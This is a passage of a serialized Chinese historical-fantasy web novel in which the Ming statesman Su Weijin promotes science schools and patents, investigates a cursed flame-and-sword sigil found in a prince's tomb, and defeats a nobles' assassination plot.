苏惟瑾走到窗前,望着北方。
**战船消失,俺答西进河套,宁王陵墓被挖……
这三件事,越来越像一条线了。
而线的另一端,似乎连着……更深处的东西。
---
东北开发刚启动,西山挖坟现端倪。
宁王陵墓中的道袍白骨、诡异帛书,暗示这位“谋逆”王爷与火焰缠剑标记有千丝万缕联系。而“紫微陨落,真龙归位”八字,更让人联想到刚刚“飞升”的嘉靖皇帝。
**十二艘战船在天津卫外海神秘消失,三万蒙古铁骑突然西进河套——这两支力量,是否正在某个地方汇合?
更令人不安的是,当夜苏惟瑾在书房研究帛书时,窗外再次飘进一片纸。这次纸上没有标记,只有一行字:
“你挖出了不该挖的东西。游戏,该进入下一局了。”
与此同时,辽东传来急报:第一批移民中,有三十七人突然“发狂”,袭击同伴,口中念念有词,仔细听去,竟是帛书上那些诡异符咒的发音……
暗处的对手,似乎早就布下了无数棋子。而苏惟瑾的每一步,都在对方的预料之中。
第414章 格物兴百工,瑾启科技潮
辽东那三十七个发狂的移民,最后没救回来。
军医束手无策,格物学堂派去的郎中也没辙——那些人像是被什么摄了魂,不吃不喝,整日喃喃念着听不懂的咒语,七天后陆续断了气。死前,每个人都用指甲在墙上、地上,划出那个火焰缠剑的标记。
消息传到文国公府时,苏惟瑾正在写《格物基础》的第三章:杠杆原理。
“公子,”胡三脸色发白,“这事儿太邪门。会不会是……巫蛊?”
苏惟瑾放下笔,盯着纸上那几个死者的姓名、籍贯、年龄,超频大脑飞速分析。
三十七人,来自山东五个不同的县,互不相识。到辽东后分在不同屯堡,却在同一天发狂。唯一共同点是——他们都经过西山,在第一批移民队伍里。
西山……
宁王陵墓,帛书,符咒。
“不是巫蛊。”苏惟瑾缓缓道,“是某种……心理暗示,或者药物控制。”
“可什么药能让人隔了这么久才发作?”
苏惟瑾没回答。他想起后世那些潜伏期漫长的神经毒素,或者更可怕的——通过特定声音、图像触发的条件反射。帛书上那些诡异符咒,会不会就是一种“触发器”?
对手的手段,比他想象的更诡异。
“辽东那边,”他吩咐,“所有移民重新筛查,发现有异常行为的,单独隔离。再让鹤岑去一趟,他懂些道家符咒,看看能不能破解。”
“是。”
胡**下后,苏惟瑾重新拿起笔。
外患要防,内功更要练。北疆、东北的战略都需要国力支撑,而大明现在的国力……还是农业时代的底子,太薄了。
得点火。
点燃科技的火花,点燃生产力的**。
……
十天后,朝会。
小皇帝朱载重今天玩的是“齿轮玩具”——也是苏惟瑾设计的,几个大小齿轮咬合转动,带动一个小人敲鼓,小孩看得入迷。
“陛下,”苏惟瑾出列,“臣有本奏。”
“准。”朱载重头也不抬。
“臣请旨,于各省府设‘格物学堂’分校,教授算学、几何、物理、化学、农学、工学。教材由文渊阁编纂,各府州县需拨专款,遴选聪颖子弟入学。”
殿内安静了一瞬。
然后炸了。
“文国公!”礼部右侍郎徐溥第一个站出来——这老头自从上次东北开发被驳,憋了一肚子气,“此事万万不可!学堂乃教化之地,当授圣贤之道!这些……这些奇技淫巧,岂能登大雅之堂?”
“奇技淫巧?”苏惟瑾看着他,“徐老,您从府上来上朝,坐的是马车吧?”
“自然。”
“那马车轮轴,是不是‘奇技’?车厢构造,是不是‘淫巧’?若没有这些,您得走路来。”
徐溥一噎:“这……这不一样!”
“怎么不一样?”苏惟瑾转向其他人,“诸位住的宅邸,用的砖瓦木石,哪样不是工匠所造?吃的精米白面,哪样不是农人耕种、工匠改良农具所得?穿的绸缎,织机是不是‘奇技’?用的笔墨纸砚,制法是不是‘淫巧’?”
他每问一句,就有一个官员脸色难看。
“咱们一边享受着工匠的成果,一边骂人家‘奇技淫巧’,”苏惟瑾冷笑,“这叫端起碗吃饭,放下碗骂娘。”
“粗俗!”徐溥气得胡子直抖,“圣贤之道,乃治国之本!工匠之术,终是末流!”
“末流?”苏惟瑾从袖中掏出一本册子,“徐老可知,嘉靖十一年,工部上报,全国官道破损三成,桥梁倒塌百余座,修复需银八十万两——因为缺乏懂营造的工匠,工程屡次返工,浪费过半。这是末流?”
他又掏出一本:“嘉靖八年,黄河决口,因为河工不懂水文测算,堵口失败三次,多淹两县,死伤数千。这是末流?”
“嘉靖三年至今,各地上报‘祥瑞’——什么双穗稻、巨麦,其实都是农人偶然所得,因无专人研究培育,良种失传,粮食产量二十年未增。这,也是末流?”
三本册子,三个事实,砸得满殿无声。
徐溥张了张嘴,说不出话。
“本公设格物学堂,”苏惟瑾环视全场,“不是不教圣贤之道,而是圣贤之道要教,实用之学也要教!读书人不能只会之乎者也,得懂钱谷刑名,懂水利农桑,懂营造测算——这才是真正的治国之才!”
他顿了顿,声音转厉:“否则,就是一群只会空谈的废物!”
这话太重了。
几个老臣脸色涨红,想反驳,可看看苏惟瑾手里那三本册子——都是工部、户部的实打实数据,反驳不了。
“还有,”苏惟瑾继续放**,“本公提议,设‘专利司’。凡工匠、农人有技艺创新,经核实,授予专利,享十年独占利。比如改良织机,效率提高三成,那这十年里,任何人用这新织机,都得给发明人分成。”
这下连户部尚书方钝都坐不住了:“文国公,这……这不合祖制啊!工匠之技,向来是师徒相传,或者官府征用……”
“所以工匠没动力改良。”苏惟瑾打断他,“方尚书,您管户部,最清楚。江南织造,一台织机一天出绸三尺,百年未变。若有人能改良到一天五尺,多出的两尺,朝廷抽一成税,发明人得一成利,织户得八成——朝廷、工匠、百姓,三方得利,不好吗?”
方钝愣住,心里噼里啪啦打起了算盘。
一成税……江南百万织机,若真能提高效率……
“本公已让人试制了新式织机,”苏惟瑾趁热打铁,“效率提高五成。专利司第一张专利文书,就发给这位工匠——他叫李二狗,苏州人,祖传木匠。”
李二狗?
这名字一出,有几个官员忍不住笑出声。
“笑什么?”苏惟瑾扫了他们一眼,“人家祖传手艺,琢磨了十几年,改了三十二稿,才成此器。你们读了几十年书,除了会笑,还会什么?”
笑声戛然而止。
“还有,”苏惟瑾最后扔出重磅,“成立‘皇家科学院’,本公自任院长。汇聚天下顶尖巧思之士,专攻三事:一,改良炼钢法;二,研制蒸汽机——先用于矿山排水;三,改进**配方。所需银钱,从内帑拨付,不动户部一文。”
朝堂彻底安静了。
蒸汽机?那是什么玩意儿?矿山排水?用蒸汽?
所有人都懵了。
只有小皇帝朱载重,还在玩他的齿轮玩具,小人“咚咚”敲鼓,清脆悦耳。
……
散朝后,文国公府门庭若市。
工部几个主事来了,打听新织机的事。户部来了个郎中,问专利怎么分成。连翰林院都来了两个编修,讪讪地问格物学堂教不教“杂学”——他们想学。
苏惟瑾一一接待,耐心解释。
送走最后一波客人,天已擦黑。
胡三又来了。
“公子,鹤岑国师从辽东回来了。”
“怎么说?”
“他看了那些死者,又看了符咒拓本。”胡三压低声音,“他说……那
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不是道家的东西,是‘巫傩’和‘白莲’杂交出来的邪术。里头混了苗疆蛊咒、西域幻药,还有……正一道的雷法符文。”
“正一道?”苏惟瑾皱眉,“那不是鹤岑自己的门派吗?”
“是。所以国师说,这事儿……可能跟道门内斗有关。”
道门内斗?
苏惟瑾想起那个穿道袍的宁王白骨。
“还有,”胡三继续道,“西山那边,又发现了一个地洞。就在宁王陵墓下面,深不见底,咱们的人不敢下去。”
“为什么不下去?”
“因为……”胡三咽了口唾沫,“洞口刻着八个字:擅入者死,火焰焚身。”
火焰焚身。
火焰缠剑。
“准备火把、绳索,”苏惟瑾起身,“明天一早,我亲自下去看看。”
“公子!”胡三急了,“太危险了!万一……”
“没有万一。”苏惟瑾打断他,“人家都把棋下到咱们家门口了,再不接招,等着被将死吗?”
……
第二天,西山。
宁王陵墓已被挖开,露出下面黑漆漆的洞口。洞口果然刻着八个大字,朱砂写成,历经百年依然鲜红刺眼。
苏惟瑾举着火把,第一个下去。
洞很深,蜿蜒向下。走了约莫一刻钟,前方出现一个石室。
火把照亮石室的刹那,所有人都倒吸一口冷气。
石室四壁,画满了壁画。
第一幅:一个道士模样的人,在炼丹炉前做法,炉火熊熊,火焰中隐约有剑影。
第二幅:道士将炼出的丹药献给一个王爷——正是宁王。
第三幅:宁王服丹后,七窍流血,倒地身亡。
第四幅:道士跪在宁王尸体前,用剑剖开其胸腹,取出一物——画得模糊,但隐约是……心脏?
第五幅:道士将心脏放入丹炉,火焰冲天,剑影凝实。
最后一幅:道士手持一柄火焰缠绕的长剑,仰天长笑。身后是堆积如山的尸骨,尸骨上方,写着四个字:
“以命炼剑。”
苏惟瑾盯着壁画,超频大脑疯狂运转。
宁王谋逆……炼丹……剖心……火焰缠剑……
一个可怕的猜想逐渐成形。
“公子,”胡三颤声,“这、这是……”
“我明白了。”苏惟瑾缓缓道,“宁王不是谋逆**,他是……被炼成了‘剑’。”
“什么?”
“那道土,用宁王的命,炼出了一柄‘邪剑’。”苏惟瑾指着最后一幅壁画,“火焰缠剑标记,不是组织的标志,是这柄剑的标志。这柄剑……可能还活着。”
话音刚落,石室深处,突然传来一声剑鸣。
清脆,冰冷,带着灼热的气息。
---
西山地下石室,揭开火焰缠剑的恐怖真相——竟是百年前以宁王之命炼制的“邪剑”!
而此刻,剑鸣声从石室深处传来,仿佛那柄剑真的还“活着”。
与此同时,辽东传来更诡异的急报:那三十七个死者的坟墓,一夜之间全部被掘开,尸体不翼而飞。坟前泥土上,留下一个个火焰缠剑的印记,还有一行血字:
“剑需血饲,三十七具,远远不够。”
几乎同时,皇家科学院筹备处发生**,三名工匠身亡。现场残留的硫磺味中,混着一股奇异的血腥气——经鹤岑辨认,与宁王陵墓中的气味一模一样。
暗处的对手,终于从历史尘埃中,显露出狰狞面目。而苏惟瑾此刻才意识到,他面对的,可能不是“人”。
第415章 勋贵狗急墙,密谋刺瑾计
西山石室那声剑鸣,苏惟瑾到底没去探究。
不是不敢,是不能——胡三拼死拦着,周大山更是直接跪下了:“公子!那地方邪门!您要是有个闪失,咱们这些人都得抹脖子!”
苏惟瑾看着石室深处那片黑暗,火把光下,壁画上那柄火焰缠剑仿佛在微微跳动。超频大脑疯狂预警,生物本能也在尖叫:危险,极度危险。
“封了。”他最终下令,“用**炸塌洞口,十丈内设岗,不许任何人靠近。”
“是!”
回城的马车上,苏惟瑾闭目养神。
脑子里却在复盘:宁王、邪剑、火焰缠剑标记、辽东发狂的移民、皇家科学院**……这些碎片背后,应该有一条主线。可线头在哪?
正想着,马车忽然停了。
“国公爷,”车夫小声说,“前头……有人拦路。”
苏惟瑾掀开车帘。
暮色中,一个穿着粗布衣裳的老农跪在路中间,手里捧着个包袱,颤巍巍道:“小、小民……有冤情要告……”
周大山手按刀柄,就要上前驱赶。
“等等。”苏惟瑾下车,走到老农面前,“老人家,有何冤情?”
老农抬起头——那是一张饱经风霜的脸,眼神却异常清明。他打开包袱,里面不是状纸,而是一块腰牌。
锦衣卫小旗的腰牌。
“卑职锦衣卫暗桩赵五,”老农压低声音,“奉胡三爷命,在此等候国公爷。武安侯郑亨、安远侯柳溥,今夜在京郊‘听雨轩’密会,疑似……图谋不轨。”
……
京郊,听雨轩。
这地方名义上是郑亨的别院,实际上是个秘密据点。三进院子,藏在西山脚下,周围都是树林,僻静得很。
此刻正厅里,灯火通明。
郑亨坐在主位,脸色阴沉。安远侯柳溥坐在他对面,这是个四十来岁的汉子,长得鹰钩鼻、三角眼,一看就是狠角色。严嵩倒台后,他成了勋贵里新的领头羊。
除了他俩,还有三个人。
一个是都察院右佥都御史陈洪——严党残余,靠着装孙子躲过清洗,现在觉得机会来了。
一个是南京守备太监冯保派来的心腹,姓钱,白白胖胖,笑眯眯的,可眼神里透着精明。
最后一个,是个生面孔。黑衣黑袍,脸上戴个铁面具,只露一双眼睛,阴冷得像毒蛇。他腰间悬着一对铁爪——正是聊城血案中出现的那种铁爪。
“人都齐了,”郑亨开口,“说说吧,怎么办。”
“还能怎么办?”柳溥拍桌子,“苏惟瑾那小子,蹬鼻子上脸!格物学堂、专利司、科学院……这一套套下来,摆明了是要掘咱们的根!勋贵世代袭爵,靠的是什么?是田庄!是商铺!是匠户!他现在搞这些,以后谁还租咱们的田?谁还买咱们的货?谁还给咱们做工?”
陈洪附和:“柳侯爷说得对。而且此人独断专行,朝堂已成他一人堂。长此以往,国将不国啊!”
郑亨看向钱太监:“冯公公那边……”
“公公说了,”钱太监尖着嗓子,“南京六部,对苏惟瑾早有不满。只要京城这边动手,南京立刻响应。宗室那边……崇王殿下已经答应,只要除掉苏惟瑾,他愿进京‘清君侧’。”
崇王,嘉靖的堂弟,封地在河南,是个出了名的糊涂王爷,好操控。
“好!”柳溥兴奋,“那咱们就干!刺杀、兵变、另立新君,三管齐下!”
“怎么刺杀?”郑亨还算冷静,“苏惟瑾身边护卫森严,周大山那莽夫寸步不离,还有锦衣卫……”
“侯爷放心。”那个铁面人开口了,声音嘶哑难听,“在下‘鬼爪’,江湖人称‘索命无常’。聊城那三个探子,就是鄙人送走的。”
郑亨眼皮一跳。聊城血案他听说了,死状极惨。
“你有把握?”
“十成。”鬼爪伸出右手,五指弯曲如钩,“三日后,苏惟瑾要巡视西山火器局。路线必经‘鹰愁涧’,那里山谷狭窄,两侧峭壁,正是设伏的绝佳之地。在下已调集三十六名好手,都是江湖上一等一的**。届时滚石、**箭、毒烟齐下,就算他是大罗金仙,也得脱层皮!”
柳溥大喜:“好!此事若成,本侯赏你黄金万两!”
鬼爪冷笑:“黄金?鄙人要的不是这个。”
“那你要什么?”
“事成之后,我要进皇家科学院,”鬼爪眼中闪过一丝狂热,“我要看那些……新玩意儿。”
郑亨和柳溥对视一眼,都有些诧异。这**,还对新奇器械感兴趣?
“可以。”郑亨点头,“只要杀了苏惟瑾,什么条件都好说。”
“还有,”陈洪补充,“光刺杀不够。京城九门,咱们得控制几门。柳侯爷,您手下那些家丁……”
“放心,”柳溥拍胸脯,“本侯府上养了三百死士,都是边军退下来的老卒,一个打三个。到时候控制朝阳门、安定门,接应城外兵马。”
“城外兵马?”郑亨皱眉,“哪来的兵马?”
“大同。”柳溥压低声音,“大同总兵王崇古,是我表舅。只要京城乱起,他立刻率兵‘勤王’——当然是勤崇王殿下。”
郑亨深吸一口气。
刺杀、控制城门、外兵入京、另立新君……这计划,听着完美。
可他心里总不踏实。
苏惟瑾是那么好杀的?那小子鬼精鬼精的,万一……
“侯爷,”柳溥看出他的犹豫,“机不可失啊!再不动手,等他把格物学堂铺遍全国,把专利司搞起来,咱们就真没活路了!”
陈洪也劝:“是啊侯爷,如今朝中不满苏惟瑾的大有人在,只是敢怒不敢言。只要咱们打响第一枪,响应者必众!”
郑亨看着跃跃欲试的柳溥,看着一脸笃定的鬼爪,看着笑眯眯的钱太监……
终于,咬牙:“干!”
……
他们不知道,听雨轩的屋顶上,正蹲着一只灰扑扑的“猫头鹰”。
不对,不是猫头鹰,是胡三训的猎鹰,叫“灰影”。这小家伙通人性,专门负责盯梢。此刻它歪着头,听着底下人密谋,然后振翅飞起,消失在夜色中。
半个时辰后,文国公府书房。
胡三把灰影带回的情报一五一十汇报。
苏惟瑾听完,笑了。
“正要他们跳出来。”他敲着桌子,“郑亨、柳溥、陈洪……还有南京的冯保,河南的崇王,大同的王崇古。好啊,一网打尽,省得我一个个收拾。”
“公子,怎么办?”周大山摩拳擦掌,“俺带人去,把听雨轩端了!”
“不急。”苏惟瑾摆手,“人家搭好了戏台,咱们得配合唱完。”
他走到地图前,手指划过西山:“鹰愁涧……确实是设伏的好地方。这样,大山,你提前带人去,在两侧峭壁布置。不要打草惊蛇,等他们人全到了,再收网。”
“明白!”周大山咧嘴,“抓活的?”
“尽量。”苏惟瑾顿了顿,“那个鬼爪……留活口。我要问问他,聊城血案,还有火焰缠剑的事。”
“是!”
“还有,”苏惟瑾看向胡三,“南京那边,派人盯着冯保。河南崇王……让锦衣卫去‘拜访’一下,请他‘安心养病’,别掺和这些破事。大同王崇古……”
他冷笑:“传令给蓟镇总兵戚继光,让他‘例行换防’,带兵去大同附近转转。王崇古要敢动,戚继光就‘误会’他是要**,直接拿下。”
一套组合拳安排得明明白白。
胡三
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记下,又问:“公子,那您三日后……真去鹰愁涧?”
“去,当然去。”苏惟瑾微笑,“我不去,他们怎么跳坑?”
……
三日后,清晨。
西山鹰愁涧,果然地势险要。两座峭壁夹着一条窄路,宽不过三丈,头顶一线天。正是埋伏的绝佳地点。
峭壁顶上,鬼爪带着三十六个黑衣**,静静潜伏。每人手里都有**箭,腰间挂着毒烟筒,还有几个力士守着巨大的滚石。
“来了。”一个眼尖的**低声道。
山路上,果然出现一队人马。大约五十人,护卫着中间那辆马车。马车朴素,但护卫个个精悍,正是苏惟瑾的仪仗。
鬼爪舔了舔嘴唇,举起右手。
只等马车进入峡谷最窄处,他就下令。
可就在这时——
“轰!”
一声炮响。
不是他们放的,是从身后传来的。
鬼爪猛地回头,只见峭壁后方,不知何时冒出了大批官兵!黑压压一片,怕是有上千人!当先一员大将,正是周大山,手持长刀,咧嘴笑道:“孙子们,等你们半天了!”
“中计了!”鬼爪脸色大变,“撤!”
可往哪撤?
前后都是官兵,两侧是峭壁。
“放箭!”鬼爪咬牙,做最后一搏。
三十六个**齐齐放**,箭雨射向官兵。可对方早有准备,前排举起盾牌,“叮叮当当”全挡下了。
“滚石!”鬼爪嘶吼。
力士们推动滚石,巨大的石块轰隆隆滚下山坡。
周大山哈哈大笑,手一挥。
官兵队伍里推出几门小炮——正是西山火器局新造的“虎蹲炮”,口径不大,但射速快。
“放!”
“轰轰轰——”
炮弹精准打在滚石上,石块炸裂,碎石四溅,反倒伤了好几个**。
“杀!”周大山率先冲上来。
鬼爪咬牙,挥舞铁爪迎战。他武功确实高,铁爪翻飞,连伤三名官兵。可周大山不是吃素的,大刀势大力沉,几刀劈下来,震得鬼爪虎口发麻。
“投降吧!”周大山喝道,“留你全尸!”
“做梦!”鬼爪眼中闪过狠色,突然从怀里掏出个小瓶,往地上一摔。
“砰!”
黑烟弥漫,腥臭扑鼻。
“毒烟!闭气!”周大山大喊。
等烟雾散去,鬼爪不见了——他用爪子在峭壁上抠出借力点,竟然硬生生爬了上去!
“追!”周大山怒道。
可就在这时,山下那辆马车帘子掀开,苏惟瑾走了出来,仰头看着鬼爪逃遁的方向,淡淡道:“不用追了。”
“公子,他……”
“他跑不了。”苏惟瑾从怀中取出个小哨子,轻轻一吹。
无声。
但片刻后,天空传来鹰唳。
灰影展翅,朝着鬼爪逃遁的方向,疾追而去。
---
鹰愁涧伏击反伏击,郑亨、柳溥等勋贵被一网打尽。可鬼爪用毒烟逃脱,灰影紧追不舍。
就在周大山押着俘虏回城时,京里传来惊天消息:武安侯府、安远侯府,昨夜同时遭袭!郑亨、柳溥的家眷全部失踪,府中财物未动,唯独……祠堂里的祖宗牌位,被砸得粉碎。
现场留下火焰缠剑标记,还有一行血字:
“游戏升级。下一个,轮到你了,文国公。”
与此同时,追踪鬼爪的灰影负伤飞回,爪子上抓着一块碎布——布料华贵,绣着四爪**纹。那是……只有亲王才能穿的**袍。
鬼爪逃进了某个亲王府邸?
而南京方面传来急报:守备太监冯保,昨夜暴毙。
死状诡异——七窍流血,心脏位置有个焦黑的窟窿,仿佛被什么……烧穿了。
第416章 山谷伏击战,瑾笑看跳梁
灰影带回的那块**袍碎布,被摆在文国公府书房的桌案上。
四爪**纹,金线绣边,料子是上好的云锦——确实是亲王规制。可大明朝活着的亲王就那么几个:北京的裕王、景王,南京的魏王,洛阳的福王,武昌的楚王……
“灰影是在哪里受伤的?”苏惟瑾问。
胡三小心地给猎鹰包扎翅膀上的箭伤:“西城,靠近皇城的地方。具体哪座府邸……它说不清,但肯定在亲王街一带。”
亲王街,顾名思义,住的都是宗室。裕王府、景王府都在那条街上。
“查。”苏惟瑾只说了这一个字。
可还没等他们查,第二天一早,更大的消息传来了。
武安侯府、安远侯府一夜之间人去楼空——不是被劫,是郑亨、柳溥两家老小,自己收拾细软跑了!府里值钱东西搬得干干净净,只剩下砸烂的祖宗牌位,和墙上那行血字。
“跑了?”周大山瞪大眼,“他们能跑哪去?”
“大同。”苏惟瑾看着地图,“王崇古是柳溥的表舅,只有那里能收留他们。”
“那俺带兵去追!”
“不急。”苏惟瑾摆手,“让他们跑。正好,把王崇古一块儿收拾了。”
他转向胡三:“鹰愁涧那三个活口,招了没有?”
“招了。”胡三递上口供,“是郑亨、柳溥指使的,花了五万两银子,雇了‘鬼爪’和三十六个**。计划是刺杀成功后,控制朝阳门、安定门,接应大同兵马入京,拥立崇王。”
“崇王那边呢?”
“锦衣卫已经‘请’他进京‘养病’了。”胡三咧嘴,“老头子吓得尿裤子,说全是冯保蛊惑的,他什么都不知道。”
“冯保**,死无对证。”苏惟瑾冷笑,“倒是干净。”
他拿起那份口供,掂了掂:“证据有了,该收网了。”
……
三日后,清晨。
西山鹰愁涧静悄悄的,只有山风吹过峡谷的呜咽声。峭壁顶上,鬼爪留下的三十六个**还在——不过都换了人,是虎贲营精锐伪装的。
周大山蹲在一块巨石后,身上披着伪装用的杂草,小声对旁边的副将说:“待会儿演得像点,别一上来就露馅。”
副将咧嘴:“将军放心,俺们练了一宿。”
山下,车队来了。
五十名护卫,护着一辆马车,缓缓进入峡谷。看旗号,正是文国公的仪仗。
峭壁顶上,“**”们互相使眼色。
“放!”
滚木礌石轰隆隆砸下,尘土飞扬。数十名“黑衣死士”从两侧杀出,直扑马车——其实都是虎贲营的人,穿着黑衣做戏。
“保护国公爷!”护卫们“惊慌”大喊,团团围住马车。
“杀!”“黑衣死士”们“凶狠”地冲上去,刀光剑影,打得有模有样。
马车帘子被掀开,里面空无一人。
“中计了!”“**头目”大喊,“撤!”
可哪撤得了?
“砰!砰!砰!”
火铳声响起,不是从山下,是从他们身后!虎贲营真正的火铳队早就绕到后面,一轮齐射,那些假扮**的士兵身上早就藏了血包,“噗噗噗”炸开,一个个“惨叫”着倒下。
“全歼残敌!”周大山从巨石后跳出来,大刀一挥。
骑兵从峡谷两端冲进来,把“残敌”团团围住。戏演到这儿,该收尾了。
三个“活口”被押到周大山面前——这也是安排好的,是三个死囚,演完这出戏,就能免死流放。
“说!谁指使的?”周大山“怒喝”。
“是……是武安侯郑亨!安远侯柳溥!”死囚“颤声”招供,“他们花了五万两银子,雇我们刺杀文国公……”
口供录好,画押。
周大山咧嘴一笑:“收工!”
……
消息传回京城时,文国公府的书房里,苏惟瑾正在看工部送来的蒸汽机草图。
“公子,”胡三进来,“戏演完了。口供、人证、物证俱全。”
“好。”苏惟瑾放下草图,“传令锦衣卫,抓人。”
“郑亨、柳溥已经跑了……”
“跑得了和尚跑不了庙。”苏惟瑾淡淡道,“他们的同党、家眷、门生故旧,还在京城。按名单,一个一个抓。”
“是!”
当夜,京城震动。
锦衣卫倾巢而出,马蹄声踏碎寂静。一份长长的名单,从文国公府发出,上面列着三十七个名字——都是与郑亨、柳溥往来密切的勋贵、文官。
“开门!锦衣卫办差!”
“武定伯府涉嫌谋逆,所有人等,束手就擒!”
“安定侯!你事发了!”
一家家府邸被踹开,一个个勋贵从被窝里被拖出来。有人反抗,被当场格杀;有人哭喊,无人理睬;更多的人,面如死灰,任由锁链加身。
这一夜,诏狱人满为患。
这一夜,勋贵集团,彻底瓦解。
……
第二天朝会,气氛肃杀。
小皇帝朱载重今天没玩玩具,似乎也感受到不对劲,老老实实坐在龙椅上。
苏惟瑾站在御阶下,手里捧着那份口供,和三十七份抄家清单。
“陛下,”他声音平静,“武安侯郑亨、安远侯柳溥,勾结江湖匪类,行刺摄政国公,图谋不轨。现已证据确凿,其党羽三十七人,皆已下狱。”
他顿了顿,环视台下。
百官低头,无人敢对视。
“按《大明律》,谋逆者,当诛九族。”苏惟瑾继续,“然陛下仁德,本公亦不愿多造杀孽。故主犯郑亨、柳溥,发海捕文书,全国通缉。从犯三十七人,抄没家产,流放琼州,遇赦不赦。其家眷,逐出京城,永不得归。”
这个处罚,比诛九族轻多了。
可没人敢说“轻”。
因为谁都知道,这不是结束,而是开始——勋贵倒了,接下来,就该整顿朝堂了。
“此外,”苏惟瑾又开口,“大同总兵王崇古,与逆党勾结,拥兵自重。今免其职,由蓟镇总兵戚继光兼任大同总兵,即日赴任。”
戚继光?
百官心里一凛。这位可是苏惟瑾一手提拔的悍将,他去了大同,那九边最精锐的一支兵马,就彻底姓苏了。
“可有异议?”苏惟瑾问。
寂静。
死一般的寂静。
连最迂腐的老翰林徐溥,此刻也闭着眼,一言不发。他知道,大势已去。勋贵倒了,兵权收了,朝堂上下,已无人能制衡这位二十六岁的文国公。
“既无异议,”苏惟瑾躬身,“退朝吧。”
……
散朝后,苏惟瑾没回府,而是去了诏狱。
他要见一个人——陈洪,那个都察院右佥都御史,郑亨、柳溥在文官里的内应。
诏狱最深处,陈洪被铁链锁着,披头散发,早没了往日威风。
“文国公……”他看见苏惟瑾,挣扎着想跪,可铁链太沉。
“陈大人,”苏惟瑾站在牢门外,“本公问你几句话,答得好,流放改充军。答不好……琼州那地方,瘴疠横行,听说去了的人,活不过三年。”
陈洪浑身一颤:“您问!下官知无
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不言!”
“鬼爪,是什么人?”
“这……下官不知。是郑亨找来的,说是江湖上的顶尖**。”
“他为何要进皇家科学院?”
“他说……说对那些新玩意儿感兴趣。”陈洪回忆,“尤其是火器、机械。郑侯爷还笑他,一个**,懂什么格物。”
苏惟瑾皱眉。
一个**,对科技感兴趣?这不合常理。
“还有,”他继续问,“冯保是**的?”
“下官不知!真的不知!”陈洪急道,“冯公公是南京守备,下官只在京中,从未去过南京……”
苏惟瑾盯着他,看了片刻,确定他没说谎。
“最后一个问题。”他缓缓道,“你们密谋时,有没有提到……火焰缠剑?”
陈洪一愣,眼神迷茫:“什么剑?”
看来**。
苏惟瑾转身离开。
走到诏狱门口时,胡三匆匆赶来,脸色难看。
“公子,灰影……**。”
“什么?”
“今早发现它倒在鹰笼里,浑身焦黑,像是……被火烧过。”胡三声音发颤,“可笼子好好的,周围也没有火源。”
苏惟瑾瞳孔骤缩。
焦黑……火烧……
冯保死时,心脏位置有个焦黑的窟窿。
灰影死时,浑身焦黑。
这手法,太像了。
“带我去看。”他沉声道。
……
鹰笼在文国公府后院。
灰影的尸体还在笼子里,果然如胡三所说——浑身羽毛焦黑卷曲,像是被瞬间高温烤过,可皮肉却没有烧伤的痕迹。更诡异的是,笼子的铁条上,有一个清晰的印记。
火焰缠绕着一把剑。
“公子,这……”胡三声音发抖。
苏惟瑾蹲下身,仔细查看。
超频大脑调出所有关于“火焰”的记忆:化学燃烧、电弧灼伤、激光切割……都不像。这种焦黑,更像是……能量瞬间穿透,从内部爆发。
能量?
他猛地想起西山石室壁画上,道士用宁王之心炼剑的场景。
以命炼剑……火焰缠剑……
难道那柄“邪剑”,真的存在?而且能隔空释放火焰能量?
“查。”他站起身,声音冰冷,“京城所有道观、寺庙,所有懂炼丹、懂符咒的人,全部筛查。还有,亲王街每一座府邸,每一个宗室,我要知道他们这几天都在干什么。”
“是!”
胡三匆匆离去。
苏惟瑾站在鹰笼前,看着灰影焦黑的尸体。
对手的棋,下得越来越诡异了。
从江湖刺杀,到勋贵谋逆,再到现在的……超自然力量?
他握紧拳头。
不管是什么,这场游戏,他奉陪到底。
---
勋贵集团被一网打尽,朝堂权力彻底巩固。可火焰缠剑的阴影,反而更加浓重。
灰影诡异死亡,笼子上再现标记。冯保心脏被烧穿,手法如出一辙。这一切都指向那柄传说中的“邪剑”。
而更令人不安的是,当夜苏惟瑾在书房复盘时,窗外飘进的不是纸片,而是一朵花——黑色的花,花瓣如火焰般卷曲,花蕊处,插着一把微小的玉剑。
花是从哪来的?府中护卫依旧毫无察觉。
几乎同时,亲王街裕王府传来消息:裕王朱载坖,那位一向低调的亲王,今日突然“病重”,昏迷不醒。
太医诊治时发现,他胸口皮肤上,隐隐浮现出一个火焰缠剑的印记……
棋局,似乎正在从朝堂争斗,转向更诡异、更危险的层面。
第417章 南京起波澜,瑾速定东南
文国公府后院那朵黑色火焰花,被装在琉璃匣子里,摆在书房桌案上。
苏惟瑾盯着它看了整整一个时辰。
花瓣漆黑如墨,却隐隐透着暗红流光,仿佛真有火焰在内里燃烧。
花蕊处那柄微小玉剑,做工精细,剑身上刻着细如发丝的符文——超频大脑放大解析,发现那些符文,与宁王陵墓帛书上的符咒,同出一源。
“公子,”鹤岑也被请来了,老道看着那花,脸色煞白,“这是……‘业火黑莲’。”
“什么东西?”
“传说中,以罪孽之血浇灌,在极阴之地生长的邪物。”鹤岑声音发颤,“花瓣如火焰,花蕊藏杀机。此物一旦出现,必有大灾。”
“怎么来的?”
“不知。”鹤岑摇头,“但能培育此物者,必是精通邪术,且……**无数。”
正说着,胡三匆匆进来:“公子,裕王府那边……出事了。”
“裕王怎么了?”
“不是裕王,是裕王世子。”胡三咽了口唾沫,“昨夜突然发狂,打伤三名侍女,口吐黑血,胸口……也出现了那个火焰缠剑印记。太医束手无策,裕王妃哭着进宫求陛下救命。”
苏惟瑾眉头紧锁。
裕王世子,才十二岁。
“还有,”胡三继续道,“南京八百里加急——崇王朱载坖,反了。”
……
南京,紫金山下,崇王府。
四十三岁的崇王朱载坖,此刻正像热锅上的蚂蚁,在书房里来回踱步。他是个胖子,圆脸,小眼睛,平时看着和和气气,可现在脸上全是汗。
“王爷,”一个幕僚低声劝,“现在收手还来得及。北京那边,郑亨、柳溥都倒了,咱们……”
“收手?”朱载坖苦笑,“三万兵马已经集结,南京六部官员都上了本,冯保那死太监虽然**,可他手下那帮人还盯着呢!现在收手,苏惟瑾能放过我?”
“可是……”
“没什么可是!”朱载坖咬牙,“开弓没有回头箭。传令,明日誓师,北上‘清君侧’!”
他这话说得慷慨激昂,可心里虚得很。
什么清君侧?他就是被冯保那帮人架上去的。本来想着郑亨、柳溥在北京起事,他这边呼应,事成之后混个摄政王当当。可现在北京那边全完了,他这三万乌合之众,能成什么事?
可不开弓也不行啊——手下那些将领,一个个眼睛都红了,就等着北上抢功劳呢。还有南京那些不得志的官员,憋着劲要翻身。
“王爷,”亲兵统领进来,“江面上……发现福建水师战船。”
